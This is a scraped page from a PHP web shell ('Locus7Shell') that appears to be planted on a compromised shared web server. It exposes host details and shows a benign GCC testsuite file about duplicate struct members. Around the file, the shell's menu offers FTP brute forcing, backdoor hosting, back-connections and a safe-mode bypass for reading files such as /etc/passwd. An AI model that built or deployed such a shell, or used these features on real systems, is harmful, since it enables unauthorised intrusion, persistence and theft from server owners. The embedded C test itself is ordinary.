Software: Apache. PHP/5.4.45 

uname -a: Linux webm056.cluster010.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue
Sep 17 08:14:20 UTC 2024 x86_64
 

uid=243112(mycochar) gid=100(users) groups=100(users)  

Safe-mode: OFF (not secure)

/home/mycochar/www/image/photo/gcc-12.3.0/gcc/testsuite/gcc.dg/   drwxr-xr-x
Free 0 B of 0 B (0%)
Your ip: 216.73.216.77 - Server ip: 213.186.33.19
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    

[Enumerate]    [Encoder]    [Tools]    [Proc.]    [FTP Brute]    [Sec.]    [SQL]    [PHP-Code]    [Backdoor Host]    [Back-Connection]    [milw0rm it!]    [PHP-Proxy]    [Self remove]
    


Viewing file:     anon-struct-9.c (1.67 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
/* Test for diagnostics for duplicate member names in anonymous
   structures and unions.  PR 4784.  */
/* { dg-do compile } */
/* { dg-options "" } */

struct s1
{
  int x;
  struct
  {
    int x; /* { dg-error "duplicate member" } */
  };
};

struct s2
{
  struct
  {
    int a;
    struct
    {
      int b;
    };
  };
  struct
  {
    int b; /* { dg-error "duplicate member" } */
  };
};

struct s3
{
  struct
  {
    int a;
    struct
    {
      int b;
    };
  };
  struct
  {
    int b; /* { dg-error "duplicate member" } */
    int c;
  };
};

struct s4
{
  int x;
  struct
  {
    int x;
  } y;
};

union u1
{
  int x;
  union
  {
    int x; /* { dg-error "duplicate member" } */
  };
};

union u2
{
  union
  {
    int a;
    union
    {
      int b;
    };
  };
  union
  {
    int b; /* { dg-error "duplicate member" } */
  };
};

union u3
{
  union
  {
    int a;
    union
    {
      int b;
    };
  };
  union
  {
    int b; /* { dg-error "duplicate member" } */
    int c;
  };
};

union u4
{
  int x;
  union
  {
    int x;
  } y;
};

#define D10(x) int x##0; int x##1; int x##2; int x##3; int x##4; int x##5; int x##6; int x##7; int x##8; int x##9;
#define D100(x) D10(x##0) D10(x##1) D10(x##2) D10(x##3) D10(x##4) D10(x##5) D10(x##6) D10(x##7) D10(x##8) D10(x##9)

#define S10(x) struct { D100(x##0) }; struct { D100(x##1) }; struct { D100(x##2) }; struct { D100(x##3) }; struct { D100(x##4) }; struct { D100(x##5) }; struct { D100(x##6) }; struct { D100(x##7) }; struct { D100(x##8) }; struct { D100(x##9) };

struct sbig
{
  S10(a)
  S10(b)
  S10(c)
  S10(d)
  S10(e)
  S10(f)
  S10(g)
  S10(h)
  S10(j)
  S10(k)
  struct
  {
    int a123; /* { dg-error "duplicate member" } */
  };
};

Enter:
 
Select:
 

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

Search
  - regexp 

Upload
 
[ ok ]

Make Dir
 
[ ok ]
Make File
 
[ ok ]

Go Dir
 
Go File
 

--[ x2300 Locus7Shell v. 1.0a beta Modded by #!physx^ | www.LOCUS7S.com | Generation time: 0.0056 ]--